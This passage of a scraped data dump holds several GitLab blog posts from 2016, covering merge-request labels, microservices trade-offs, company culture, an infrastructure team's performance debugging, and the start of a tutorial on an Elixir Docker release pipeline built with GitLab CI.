using 11 GitLab labels in our projects.\n\n![GitLab labels](https://about.gitlab.com/images/blogimages/using-gitlab-labels/gitlab-labels.jpg){: .shadow}\n\nEach of these has a specific meaning understood by all of our team members.\n\n| Label | Description | Applied Automatically? |\n| ----- | ----------- | ---------------------- |\n| Blocked | Indicates a request should not be merged yet because it is blocked by an external entity. This could be waiting on another cookbook update or service needs to be updated/deployed. | N |\n| Blocked by Events | This MR should not be merged because it is waiting for one or more events to complete. Sometimes potentially impacting changes don't get pushed out if we have an active sporting event. | N |\n| Blocked by Maintenance | This MR should not be merged until site maintenance is complete. | N |\n| Dogfooding | This MR should not be merged, but is being internally tested. This is usually used for our custom Chef Dev Environment. | N |\n| Major | This is a major and breaking change as defined by [SemVer]. This code should be reviewed very carefully to understand the scope of impact. | Y |\n| Minor | This is a minor change as defined by [SemVer]. It adds a new feature to the API. | Y |\n| Patch | This is a fix as defined by [SemVer]. | Y |\n| Needs Changes | Someone has reviewed the MR and the code needs to be updated. Reviewers comments are sufficient to update. | N |\n| Needs Discussion | Someone has reviewed the MR and a discussion is necessary to get this MR back on track. | N |\n| Needs Review | This is a new MR and no one has looked at it yet. | Y |\n| Ready to Deploy | This MR has been reviewed by the correct number of individuals and is ready to be deployed. | N |\n\n## How do we use labels?\n\nIn general, a new MR will get two labels automatically applied to it.\nThe \"Needs Review\" and either Major/Minor or Patch.\n\nThe merge request will look a bit like this.\n\n![Labels view on a MR](https://about.gitlab.com/images/blogimages/using-gitlab-labels/gitlab-labels-on-mr.jpg){: .shadow}\n\nOnce someone does an initial review, they may add additional labels such\nas \"Blocked\", \"Needs Changes\", or \"Needs Discussion\". After the minimum\nnumber of reviewers have looked at the change, the last reviewer will\nremoved the \"Needs Review\" label and either merge the MR or add a\n\"Ready to Deploy\" label so that it can be merged at the appropriate time.\n\n## How does this help us?\n\nGitLab displays labels when viewing all open MRs. This makes it to quickly\nglance at all MRs that need some form of attention, generally this is those\nwith a \"Needs Review\" tag. Prior to implementing this labeling system I\nwould have to open every MR and read the comments to understand the state.\nNow I can direct my attention to only those items that need it.\n\n----\n\nThis post was [originally published][post] by Brian O'Connell himself.\n{: .note}\n\n\u003C!-- \noriginal cover photo: http://www.freeimages.com/photo/labels-1420786\nlicense: http://www.freeimages.com/license\n-->\n\n\u003C!-- identifiers -->\n\n[doc]: https://docs.gitlab.com/ee/user/project/labels.html\n[EE]: /features/#enterprise\n[post]: http://infrastructuredevops.com/08-04-2016/gitlab-labels.html\n[semver]: http://semver.org/\n",{"slug":37632,"featured":6,"template":678},"using-gitlab-labels","content:en-us:blog:using-gitlab-labels.yml","Using Gitlab Labels","en-us/blog/using-gitlab-labels.yml","en-us/blog/using-gitlab-labels",{"_path":37638,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37639,"content":37644,"config":37648,"_id":37650,"_type":16,"title":37651,"_source":17,"_file":37652,"_stem":37653,"_extension":20},"/en-us/blog/trends-in-version-control-land-microservices",{"title":37640,"description":37641,"ogTitle":37640,"ogDescription":37641,"noIndex":6,"ogImage":12531,"ogUrl":37642,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37642,"schema":37643},"Trends in Version Control Land: Microservices","The benefits and drawbacks of microservices and how to decide if it is right for your team.","https://about.gitlab.com/blog/trends-in-version-control-land-microservices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Trends in Version Control Land: Microservices\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-08-16\",\n      }",{"title":37640,"description":37641,"authors":37645,"heroImage":12531,"date":37646,"body":37647,"category":8943},[3532],"2016-08-16","\n\nOne trend of the last few years is microservices architecture. In this post we’re\nlooking at what that is, and what some of the benefits and drawbacks are.\n\n**Note:** This is the third post of our four-post series on **Trends on Version Control Land**. Take a look at the first post on [Innersourcing][post-1] to learn more about common challenges large organizations face and how Innersourcing can solve them. Also check out our second post, [Release Early, Release Often][post-2], to read about how and why GitLab releases monthly.\n{: .note}\n\n\u003C!-- more -->\n\n## What are microservices?\n\n[Microservices architecture][micro-arch] is a way of designing software applications as smaller, independent,\ncloud-based services rather than one monolithic data center. [Netflix][netflix-micro] is a good example: their\nusers application, movies application and ratings application are deployed independently.\nNetflix has made a lot of the code behind their [microservice architecture open source][netflix-oss]. [Uber][uber-eng], [Soundcloud][soundcloud-micro], [Hailo][hailo-micro], [Amazon][amazon-micro], and [Ebay][ebay-micro]\nare a few other companies that [are using microservices][companies-micro] to deliver their applications. Uber shared\na really nice narrative of their [move from monolith to microservices][uber-blog] on their blog.\n\n## Benefits of microservices\n\n**System-wide stability:** Using Nextflix as an example again, since moving to a microservices architecture, they have achieved much greater system-wide stability,\nbecause API service interruptions are restricted to one service.\n\n**Scale teams:** With [microservices](/topics/microservices/) you can move more quickly because each app can\ndeploy independently of the others. Teams can operate independently. Since larger teams have more overhead (decisions, training, etc.), being able to split them up per service increases efficiency.\n\n**Diverse technology:** Since each service is independent, you can use the best programming language and database for each respective job.\n\n**Improved architecture:** Splitting up the application in multiple services enforces module boundaries; each application has its own responsibilities. Please note that it only helps with enforcement, in a monolitic application you can also have great module boundaries.\n\n## Drawbacks\n\n**Latency:** Making function calls between different services instead of in an application slows everything down.\n\n**Distributed system:** The [first rule of distributed object design](http://martinfowler.com/bliki/FirstLaw.html) is don't distribute your objects. Distributed systems are harder to debug, reason about, and do transactions in.\n\n**Three-step rollouts:** If you have a change that affects other services you first have to push a new version of your application, then ensure all other services start using that, and finally deprecate the old version. If it was a single application that process could be done in one step.\n\n**The need to accommodate failure modes:** You can only increase system-wide stability if services can deal with other services being down. You will have to program this into your application. For example, if Netflix's recommendations service goes down, they can't just remove recommendations from the console. Instead they'll need to build their application to display generic recommendations instead of personalized ones.\n\n**Infrastructure complexity:** Microservices increase the number of applications you have to deploy, monitor, and throttle. You will need to automate everything to make this work.\n\n**Multiple projects:** Each service will need to be its own project to achieve the necessary independence. Each service will need multiple repositories, CI, CD, and issue trackers.\n\n## GitLab and microservices\n\nA major goal for us at GitLab is to make sure you can do everything you need to do within GitLab, with as few external integrations to deal\nwith as possible. This way, you don’t have to set up [CI/CD](/solutions/continuous-integration/), and an issue tracker for each project and spend the time integrating them, they're all already pre-configured to use from one single UI.\nYou can [move issues](/blog/feature-highlight-move-issues/) between the projects of the different services and aggregate them with [group level milestones](https://docs.gitlab.com/ee/user/project/milestones/index.html).\nTo ensure the right people have access to each project you can use [LDAP group sync](/blog/feature-highlight-ldap-sync/) and the ability to invite teams from other projects.\n\n## When are microservices right for your team?\n\nWe think that microservices are great when your team is spending too much time coordinating.\nThere is no set number but when you have more than 25 backend developers, coordination becomes more challenging.\nFor another take on the benefits and drawbacks see [Martin Fowler's take on the trade-offs](http://martinfowler.com/articles/microservice-trade-offs.html).\n\nWatch out for our last post of this series,  we'll share our thoughts on what industries are likely to embrace **Open Source**!\n\n\u003C!-- identifiers -->\n\n[post-1]: /topics/version-control/what-is-innersource/\n[post-2]: /blog/release-early-release-often/\n\n[amazon-micro]: http://thenewstack.io/led-amazon-microservices-architecture/\n[companies-micro]: http://microservices.io/articles/whoisusingmicroservices.html\n[ebay-micro]: http://highscalability.com/blog/2015/12/1/deep-lessons-from-google-and-ebay-on-building-ecosystems-of.html\n[hailo-micro]: https://sudo.hailoapp.com/services/2015/03/09/journey-into-a-microservice-world-part-2/\n[micro-arch]: http://martinfowler.com/articles/microservices.html#MicroservicesAndSoa\n[netflix-micro]: http://techblog.netflix.com/2015/02/a-microscope-on-microservices.html\n[netflix-oss]: https://netflix.github.io/\n[soundcloud-micro]: https://developers.soundcloud.com/blog/building-products-at-soundcloud-part-1-dealing-with-the-monolith\n[uber-blog]: https://eng.uber.com/building-tincup/\n[uber-eng]: https://eng.uber.com/soa/\n\n\u003C!--\ncover image: http://hubblesite.org/newscenter/archive/releases/2016/28/image/a/format/xlarge_web/layout/thumb/\ncopyright - public domain: http://hubblesite.org/about_us/copyright.php\n-->\n",{"slug":37649,"featured":6,"template":678},"trends-in-version-control-land-microservices","content:en-us:blog:trends-in-version-control-land-microservices.yml","Trends In Version Control Land Microservices","en-us/blog/trends-in-version-control-land-microservices.yml","en-us/blog/trends-in-version-control-land-microservices",{"_path":37655,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37656,"content":37661,"config":37665,"_id":37667,"_type":16,"title":37668,"_source":17,"_file":37669,"_stem":37670,"_extension":20},"/en-us/blog/five-principles-that-make-it-easier-for-people-to-love-your-company-culture",{"title":37657,"description":37657,"ogTitle":37657,"ogDescription":37657,"noIndex":6,"ogImage":37658,"ogUrl":37659,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37659,"schema":37660},"Five principles that make it easier for people to love your company culture","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683656/Blog/Hero%20Images/million_downloads.jpg","https://about.gitlab.com/blog/five-principles-that-make-it-easier-for-people-to-love-your-company-culture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Five principles that make it easier for people to love your company culture\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-08-12\",\n      }",{"title":37657,"description":37657,"authors":37662,"heroImage":37658,"date":37663,"body":37664,"category":6634},[3532],"2016-08-12","\n\nWe were very pleased and surprised to see [this article](https://www.b.agilob.net/choose-gitlab-for-your-next-project/) pop up\n(thanks, agilob!) as well as [this one](https://news.ycombinator.com/item?id=11091980),\n[this one](https://news.ycombinator.com/item?id=11095652), and\n[this one](https://news.ycombinator.com/item?id=11091577) that all arrived on\nthe Hacker News front page in the space of about a weekend. There were also many\nkind comments left by users, which is always great to see. We’re excited to have\na lot of loyal fans (many of whom are also contributors).\n\nWhile there’s no magic formula for getting people to like you, we think that\nsome of it has to do with the values embedded in your company culture. Your company culture not only defines how your organization works together\nbut it also defines how your team interacts with the outside world. It dictates the underlying philosophies for how you treat employees, customers, partners, suppliers, etc.\nA great company culture can help you attract great talent and earn respect from your\ncustomers and partners. At GitLab, we take our culture very seriously\nand we are constantly working to maintain it as we grow.\n\nThis post outlines the principles that we think make it\neasier for people to become fans. Naturally, every company culture is unique so these are our thoughts on what works for us. We think there may be some learnings\nhere for your company as well. We could also learn from your culture so please comment on this post with what works for your company or team.\n\n\u003C!-- more -->\n\n## Be consistent\n\nWe try to do things consistently as much as possible, like releasing a new\nversion of GitLab [every month on the 22nd][releasedate].\nIt’s not that different from knowing your favorite show is going to come out on\nthe Thursday of every week; when you can rely on something, it’s easier to get\ncommitted to it.\n\nWe also try to make it very easy for our users and team to understand our\nprocesses, for example by having our [Handbook]\nand [strategy] out in the open.\nIf people have access to clear information about who we are and how we work,\nthey can become better ambassadors for GitLab.\nThat means, basically, knowing our values in a way that can be communicated forward.\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Possibly one of the best startup resources that I&#39;ve ever come across: \u003Ca href=\"https://twitter.com/gitlab\">@GitLab\u003C/a>&#39;s Handbook, \u003Ca href=\"https://t.co/IU5Ee8voI3\">https://t.co/IU5Ee8voI3\u003C/a>. Absolutely incredible.\u003C/p>&mdash; Omar Kassim (@okassim) \u003Ca href=\"https://twitter.com/okassim/status/753650731001999360\">July 14, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## Be productive\n\nNothing is worse than a company that creates a need rather than addressing a\nreal problem.\nWe develop new features on a regular basis and to be prolific (yet efficient)\nin our work, because we value productivity.\nIn short: don’t try to create a problem where there isn’t one; solve a real\nproblem. And then do it again, and again, and again. People will appreciate it.\n\n![Be productive - thanks channel](https://about.gitlab.com/images/blogimages/building-a-culture-people-love-be-productive.png){: .shadow}\n\n## Be collaborative\n\nOne of our core values at GitLab is to contribute to the bigger project rather\nthan guarding one corner of it. In one sense this is just a more efficient way\nto solve problems, by group-sourcing solutions. We developed our public issue\ntracker to help make [collaboration][1000] as easy as possible.\nBut not surprisingly, collaboration also builds solidarity, goodwill, and\nloyal fans. Just one more reason to do it.\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Thanks \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> you make me feels special today :) Loved the handwritten message behind the card ! \u003Ca href=\"https://t.co/Enc1FejpTx\">pic.twitter.com/Enc1FejpTx\u003C/a>\u003C/p>&mdash; Stéphane HULARD (@s_hulard) \u003Ca href=\"https://twitter.com/s_hulard/status/760834353660366848\">August 3, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## Be opinionated\n\nMany companies try to tread a careful line, never taking much of an opinion so\nas not to alienate potential customers. We don’t believe in that. We’re vocal\nabout things we believe in, like the fact that we think [remote only] is the way\nforward.\n\nIt’s hard for people to become fans if you never take a position on things.\nIt can cause some polarization, ie. people will dislike you OR they’ll really\nlike you – and we think that’s okay. It’s preferable to be disliked on occasion\nthan to have a lukewarm company personality that’s completely uninteresting.\nDon’t be afraid to be a little different.\n\n## Be transparent\n\nTransparency is one of those buzzwords that gets used a lot, and can mean very\nlittle. For some companies it means they’ve done their job if they put a few\ncompany documents online. We think real transparency is about trying to do as\nmuch as possible out in the open, so that anyone can see it. Being remote-only\nmakes this easier, because we can ensure that most of our comms are logged publicly.\n\nWe still run into conflicts, because we’re also a commercial entity that has customers and\npartners, which means some things have to be kept private. We’ve outlined our\ncommitment by looking at other communities and projects which have struggled\nwith the open-source issue. We try to achieve:\n\n- Transparent decision making about the direction of the project.\n- Company involvement in open communication channels.\n- A balance of tending to the needs of the project and to the needs of the company.\n\n## Have Ideas?\n\nWe’re working hard, but there’s always a lot to potentially improve upon.\nWhat do you think is important and what could we be doing better in your\nopinion?\n\n[1000]: /2016/05/24/1k-contributors/\n[contribution]: https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md\n[handbook]: /handbook/\n[releasedate]: /blog/why-we-shift-objectives-and-not-release-dates-at-gitlab/\n[remote only]: http://www.remoteonly.org/\n[strategy]: /company/strategy/\n\n\u003Cstyle>\n  .center twitterwidget {\n    margin-left: auto;\n    margin-right: auto;\n    display: block;\n    box-shadow: 0 4px 18px 0 rgba(0, 0, 0, 0.1), 0 6px 20px 0 rgba(0, 0, 0, 0.09);\n    margin-bottom: 20px;\n    margin-top: 20px;\n  }\n\u003C/style>\n",{"slug":37666,"featured":6,"template":678},"five-principles-that-make-it-easier-for-people-to-love-your-company-culture","content:en-us:blog:five-principles-that-make-it-easier-for-people-to-love-your-company-culture.yml","Five Principles That Make It Easier For People To Love Your Company Culture","en-us/blog/five-principles-that-make-it-easier-for-people-to-love-your-company-culture.yml","en-us/blog/five-principles-that-make-it-easier-for-people-to-love-your-company-culture",{"_path":37672,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37673,"content":37679,"config":37682,"_id":37684,"_type":16,"title":37685,"_source":17,"_file":37686,"_stem":37687,"_extension":20},"/en-us/blog/moving-from-ops-to-infrastructure",{"title":37674,"description":37675,"ogTitle":37674,"ogDescription":37675,"noIndex":6,"ogImage":37676,"ogUrl":37677,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37677,"schema":37678},"Why we switched our philosophy from Ops to Infrastructure","Why and how GitLab moved from an Ops mindset to an Infrastructure mindset","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683873/Blog/Hero%20Images/infrastructure-cover-image.jpg","https://about.gitlab.com/blog/moving-from-ops-to-infrastructure","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we switched our philosophy from Ops to Infrastructure\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pablo Carranza\"}],\n        \"datePublished\": \"2016-08-12\",\n      }",{"title":37674,"description":37675,"authors":37680,"heroImage":37676,"date":37663,"body":37681,"category":6634},[37045],"\n\nThere is Ops, Infrastructure, Performance, DevOps etc. The terms and titles go on and they vary based on a\nvariety of industries, companies, and cultures. At GitLab, we focus on the philosophy not the title. In this\npost, I’ll explain why and how our team shifted our philosophy on how we approach GitLab's performance\nfrom an Operations mindset to an Infrastructure mindset.\n\n\u003C!-- more -->\n\n## Operations mindset\n\nWith more and more people using GitLab to host their public and private repos, run CI tests, and deploy to a\nnumber of different environments, we started experiencing noticeable performance and scaling challenges. We’d spot a problem and then race to get it fixed.\nThe team was incredibly reactionary, working to fix this and change that. The reality is that computers will\nbreak and as you scale more things will fail. With this in mind, we could’ve\ntaken the “Mongolian hoard approach” and thrown more people at the problem. However, that would have been\nanother knee-jerk reaction and we could already see that the reactive way of doing things would never scale.\nSo, we had to change. Our goal was to stop running behind the issues and start anticipating challenges in\norder to stay steps ahead of them.\n\n## The transition\n\nLike most things, change is a process. Here are the steps we took:\n\n* **Focus on infrastructure**: We shifted the team to drop the operations view that segregates systems engineering and instead focus on building infrastructure from a development perspective. Our goal was to get away from a world where developers code features and then system engineers deploy it and provision machines. We achieve better results when everyone has to be included in this process, either by building the product adding features, or by building the infrastructure and driving how the product uses the infrastructure to grow.\n* **Spot patterns**: We built graphs to spot patterns. Fortunately, human brains are very good at pattern matching. It's just the way our brain works. Of course, just seeing the pattern isn’t enough. We’d spot the pattern and then work to match it to what we already knew were signs of good performance levels. The only way to be able to spot patterns is to commit to time based metrics that you will collect and then correlate.\n* **Mind the gap**: When we spotted an unexpected or strange behavior we moved closer to the problem to understand where it was coming from, build a hypothesis, and then challenge our assumptions. We don't take feelings as data, if someone on the team feels that something is slow, we still need to get a number showing how slow, in a way that we can measure and reproduce the experiment.\n* **Align resources effectively**: With data on what’s not working and how is this affecting your system, you can focus on the right problem and allocate the right level of people and resources to find a solution.\n* **Seek to automate**: If you find yourself performing a manual task, you should do it once, twice, then many. By that, I mean you do the manual work once, a second time, and then you if you need to perform it a third time you need to automate it somehow. This is the laziness Larry Wall talks about in [the three virtues of a great programmer](http://threevirtues.com/). The goal is to stop doing the boring work a machine is so good at.\n* **Rinse and repeat**: Take your graphs, make your assumptions, challenge them with an experiment, get your results, and start again following an iterative process, forever.\n\n## Cultural shift\n\nMaking this transition really forced the company to tear down the wall between development and production and\ncollectively focus on building a better product. It’s been very important\nfor our infrastructure team to have a \"developer mindset\". We need to find simple solutions to complex problems\nand constantly be working to code ourselves out of a job.\nOur team works to scale our software and our infrastructure by automating solutions.\nThere will always be new challenges for the team work on next.\nFor example, one of the problems that we faced recently was that we were going to run out\nof storage in a single appliance and we needed to fix this before we ran out, a show stopper kind of problem.\nOur process to get ahead of this was:\n\n1. Identify the problem: we are running out of storage space and performance. This opens the questions: how much time left we have?\n1. Add monitoring to understand what the context and environment is: monitor iostat, monitor filesystem growth, plan how much time we have left.\n1. Build a hypothesis and an experiment to challenge our assumptions: by using [multiple shards](https://gitlab.com/gitlab-com/infrastructure/issues/139) we can buy time increasing complexity to move to a better solution.\n1. Run the experiment by building a small piece of infrastructure: [attach a new filesystem shard to the nodes](https://gitlab.com/gitlab-com/infrastructure/issues/192), and set up new projects to be created there.\n1. Learn, and move to the next iteration of solving this long running issue, leaving better tooling behind to make a better decision next time.\n\nIn this iteration we realized that our [git ssh access timings where not to blame to NFS at all](https://gitlab.com/gitlab-com/infrastructure/issues/59#note_13488035), it was all within ssh.\nWe also learned that most of our traffic comes from new projects that are being imported into GitLab.com so most of the write load moved to the new shard. This is good information that we can use to plan our infrastructure using our resources better.\n\n## The story of a recent win: improve our ssh git access time\n\n1. Assumption: ssh is slow because we are doing a linear search in the `authorized_keys` file. Data to back up this assumption is the current graphs for io metrics in the main NFS server.\n1. Experiment: adding an [authorized keys](https://gitlab.com/gitlab-com/operations/issues/99) api command and using it for openssh authorization will give better performance.\n1. Result: stabilized API access because of less filesystem access, but API is still slow: ![Stabilized API Access](https://about.gitlab.com/images/blogimages/moving-from-ops-to-infrastructure/grape-internal-allowed-timings.png){: .shadow}\n1. Assumption: web in general (API included) is slow because the worker nodes are [being restarted too often](https://gitlab.com/gitlab-com/operations/issues/276)\n1. Experiment: [adding queueing times for http requests](https://gitlab.com/gitlab-com/operations/issues/264) will give us understanding of how much time is a request waiting to be served.\n1. Result: we had way better information and realized that our http requests where queueing for 1 second in the p99 case.\n1. Assumption: by preventing unicorn processes from being killed too often we will avoid enqueuing requests for too long.\n1. Experiment: increasing _out of memory_ killer will keep workers running for longer.\n1. Result: http queueing time dropped to virtually zero and transaction timings were also [massively impacted](https://gitlab.com/gitlab-com/operations/issues/276#note_12353835): ![HTTP Queueing time](https://about.gitlab.com/images/blogimages/moving-from-ops-to-infrastructure/http-queue-timings.png){: .shadow}\n1. New data: from the wider picture perspective, our ssh access is still irregular and quite slow intermittently: ![intermittent slow ssh access](https://about.gitlab.com/images/blogimages/moving-from-ops-to-infrastructure/slow-ssh-access.png){: .shadow}\n1. Assumption: after deeper investigation, [dbus is queueing connections](https://gitlab.com/gitlab-com/infrastructure/issues/290#note_13536786) because of an arbitrary max sockets limit and bad file descriptor handling.\n1. Experiment: patching dbus in a PPA package and [bouncing all the workers](https://gitlab.com/gitlab-com/infrastructure/issues/290#note_13607928) will remove the dbus queuing time.\n1. Result: git ssh access [stabilized at ~2 seconds for push, ~5 seconds for pull](https://gitlab.com/gitlab-com/infrastructure/issues/290#note_13613187): ![stable ssh access times](https://about.gitlab.com/images/blogimages/moving-from-ops-to-infrastructure/stable-ssh-access.png){: .shadow}\n1. Ongoing further actions: investigate how we can reduce those ssh access timings, and [contribute back to the community](https://gitlab.com/gitlab-com/infrastructure/issues/290#note_13613213) so everyone can benefit from this.\n\nOther things happened in the mean time, we added a [public black box monitoring system](http://dashboards.gitlab.com/) to make our performance improvement efforts public. We used this monitoring to start with simple things, and over time we added more and more metrics to get better insight.\nFor example, monitoring our ssh access times was as easy as writing a [simple script](https://gitlab.com/gitlab-org/gitlab-monitor) and adding a cronjob to probe the access every minute. Only with this _boring solution_ we managed to understand how was GitLab.com behaving, and we managed to see how it was evolving in our efforts to build a better system.\n\nThere were also some assumptions that proved wrong, but led to better understanding, for example: we assumed that our ssh access was being slow because of the TCP load balancing we do before reaching a worker node, this turned not to be the case when we started monitoring each node individually for better understanding.\nThis kind of experiments are extremely useful because they will invalidate the assumption and make you look somewhere else - failing is an extremely important part of the process.\n\n## Our toolbox\n\nHere is a list of the tools we use right now:\n\n- [Chef](https://www.chef.io/chef/) &#8594; [infrastructure as code](https://www.thoughtworks.com/es/insights/blog/infrastructure-code-reason-smile)\n- [Prometheus](https://github.com/prometheus) &#8594; It will allow you to gather metrics in a time series providing good exploration tools. Then graph those metrics in grafana building dashboards.\n- [Blackbox exporter](https://github.com/prometheus/blackbox_exporter) &#8594; It will allow you to see what your customers are seeing from the outside, if it's slow, you will [see how slow](http://dashboards.gitlab.com/dashboard/db/gitlab-status)\n- [Influxdb](https://influxdata.com/) &#8594; Time series database, supported by GitLab for pushing white box performance metrics.\n- [Grafana](http://grafana.org/) &#8594; Graphing tool, we use it with both Influxdb and Prometheus to build graph dashobards that allow you to see how the application is behaving through time.\n- [ELK stack](https://www.elastic.co/webinars/introduction-elk-stack) (Elasticsearch, Logstash, Kibana) &#8594; Log processing and analyzing system. Logs are usually the first source of information that can and should be used. There's no lower hanging fruit than writing logs that add value, then parsing these logs to see how is the system behaving. Something as simple as requests per minute will tell you how much the system is being used, add errors per minute to the same graph and you will know if your last deploy is broken and should be reverted.\n- [Sentry](https://getsentry.com/welcome/) &#8594; Real time error tracking system.\n",{"slug":37683,"featured":6,"template":678},"moving-from-ops-to-infrastructure","content:en-us:blog:moving-from-ops-to-infrastructure.yml","Moving From Ops To Infrastructure","en-us/blog/moving-from-ops-to-infrastructure.yml","en-us/blog/moving-from-ops-to-infrastructure",{"_path":37689,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37690,"content":37696,"config":37701,"_id":37703,"_type":16,"title":37704,"_source":17,"_file":37705,"_stem":37706,"_extension":20},"/en-us/blog/building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1",{"title":37691,"description":37692,"ogTitle":37691,"ogDescription":37692,"noIndex":6,"ogImage":37693,"ogUrl":37694,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37694,"schema":37695},"Building an Elixir Release into a Docker image using GitLab CI - Part 1","Deploying projects written in Elixir/Erlang to production with Docker Containers and GitLab CI!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665223/Blog/Hero%20Images/containers.jpg","https://about.gitlab.com/blog/building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building an Elixir Release into a Docker image using GitLab CI - Part 1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alexander Malaev\"}],\n        \"datePublished\": \"2016-08-11\",\n      }",{"title":37691,"description":37692,"authors":37697,"heroImage":37693,"date":37699,"body":37700,"category":734},[37698],"Alexander Malaev","2016-08-11","\n\n**Note:** this post is a customer story by Alexander Malaev, a software developer.\n{: .note}\n\nWell, we are actively using Phoenix/Elixir in our projects for backend development, we also have a RoR project as a frontend-service for our Admin UI. Our project consists of a bunch of microservices written in Elixir/Erlang, and we are running it in production with Docker-containers linked together and composed by Docker-compose.\n\nOn every push to a project's branch on [GitLab], [GitLab CI] runs tests, style checking, and other tasks. These tasks are configured using `.gitlab-ci.yml`. On every merge to `master` GitLab builds a release image for us and uploads it to [GitLab Container Registry][registry]. After all, we run `docker-compose pull && docker-compose up -d` on the servers to download the latest release images and upgrade our containers.\n\n\u003C!-- more -->\n\n## CI pipeline\n\nSo, in the following I will describe our release pipeline for Elixir services, using snippets from our project’s `.gitlab-ci.yml`.\n\nWe are using `docker:latest` image for our Runner, and several stages:\n\n```yaml\nimage: docker:latest\nstages:\n  - build\n  - styles\n  - test\n  - release\n  - cleanup\n```\n\nPassing some variables:\n\n```yaml\nvariables:\n  APP_NAME: project\n  APP_VERSION: 0.0.1\n  CONTAINER_RELEASE_IMAGE: gitlab.example.org/example/project:latest\n  POSTGRES_HOST: postgres\n  POSTGRES_USER: postgres\n  POSTGRES_PASSWORD: password\n```\n\nThese variables are used during the release's build, so they will be available for all the stages. E.g., `CONTAINER_RELEASE_IMAGE` is used on the release stage, as a link to push the release image to. The `POSTGRES_*` variables are used to configure postgres service, and to connect later from containers.\n\nOur build stage:\n\n```yaml\nbuild:\n  before_script:\n    - docker build -f Dockerfile.build -t ci-project-build-$CI_PROJECT_ID:$CI_BUILD_REF .\n    - docker create\n      -v /build/deps\n      -v /build/_build\n      -v /build/rel\n      -v /root/.cache/rebar3/\n      --name build_data_$CI_PROJECT_ID_$CI_BUILD_REF busybox /bin/true\n  tags:\n    - docker\n  stage: build\n  script:\n    - docker run --volumes-from build_data_$CI_PROJECT_ID_$CI_BUILD_REF --rm -t ci-project-build-$CI_PROJECT_ID:$CI_BUILD_REF\n```\n\nBefore running this stage, we create a container which provides volumes for building artifacts. By the way, GitLab CI has a cache volume itself for similar purposes, but I couldn’t make it working correctly with GitLab Runner using Docker image.\n\n```yaml\ntest:\n  services:\n    - postgres\n  tags:\n    - docker\n  stage: test\n  script:\n    - env\n    - docker run --rm\n      --link $POSTGRES_NAME:postgres\n      -e POSTGRES_HOST=$POSTGRES_HOST\n      -e POSTGRES_PASSWORD=$POSTGRES_PASSWORD\n      -e POSTGRES_USER=$POSTGRES_USER\n      -e MIX_ENV=$MIX_ENV\n      --volumes-from build_data_$CI_PROJECT_ID_$CI_BUILD_REF ci-project-build-$CI_PROJECT_ID:$CI_BUILD_REF sh -c \"mix ecto.setup && mix test\"\n```\n\nNotice that we must pass the variables and link postgres manually, since GitLab Runner is passing the variables only to the first level of Docker, but we go deeply ;)\n\nWe could link as many services as we want. For example, we are using Kafka for production, and on our test stage we make Kafka service available for running tests.\n\nStyle checking:\n\n```yaml\nstyles:\n  tags: \n    - docker\n  stage: styles\n  script:\n    - docker run --rm\n      --volumes-from build_data_$CI_PROJECT_ID_$CI_BUILD_REF ci-project-build-$CI_PROJECT_ID:$CI_BUILD_REF sh -c \"mix credo --strict\"\n```\n\nRelease task; we run it only on pushes to `master`:\n\n```yaml \nrelease:\n  tags:\n    - docker\n  stage: release\n  script:\n    - docker run\n      --volumes-from build_data_$CI_PROJECT_ID_$CI_BUILD_REF\n      -e MIX_ENV=prod --rm -t ci-project-build-$CI_PROJECT_ID:$CI_BUILD_REF\n      sh -c \"mix deps.get && mix compile && mix release\"\n    - docker cp build_data_$CI_PROJECT_ID_$CI_BUILD_REF:/build/rel/$APP_NAME/releases/$APP_VERSION/$APP_NAME.tar.gz .\n    - docker build -t $CONTAINER_RELEASE_IMAGE .\n    - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN gitlab.example.org:4567\n    - docker push $CONTAINER_RELEASE_IMAGE\n  only:\n    - master\n```\n\nWe are using Conform to achieve runtime configuration of the release using environment variables. I use the approach described on this [blog post][post-env].\n\nTask to cleanup things:\n\n```yaml\ncleanup_job:\n  tags:\n    - docker\n  stage: cleanup\n  script:\n    - docker rm -v build_data_$CI_PROJECT_ID_$CI_BUILD_REF\n    - docker rmi ci-project-build-$CI_PROJECT_ID:$CI_BUILD_REF\n  when: always\n```\n\nIt removes the container with volumes created for build artifacts, and removes the image used during the pipeline. This task is running every time, despite the results of any previous tasks.\n\nBelow are our Dockerfiles:\n\n`Dockerfile.build`:\n\n```dockerfile\nFROM 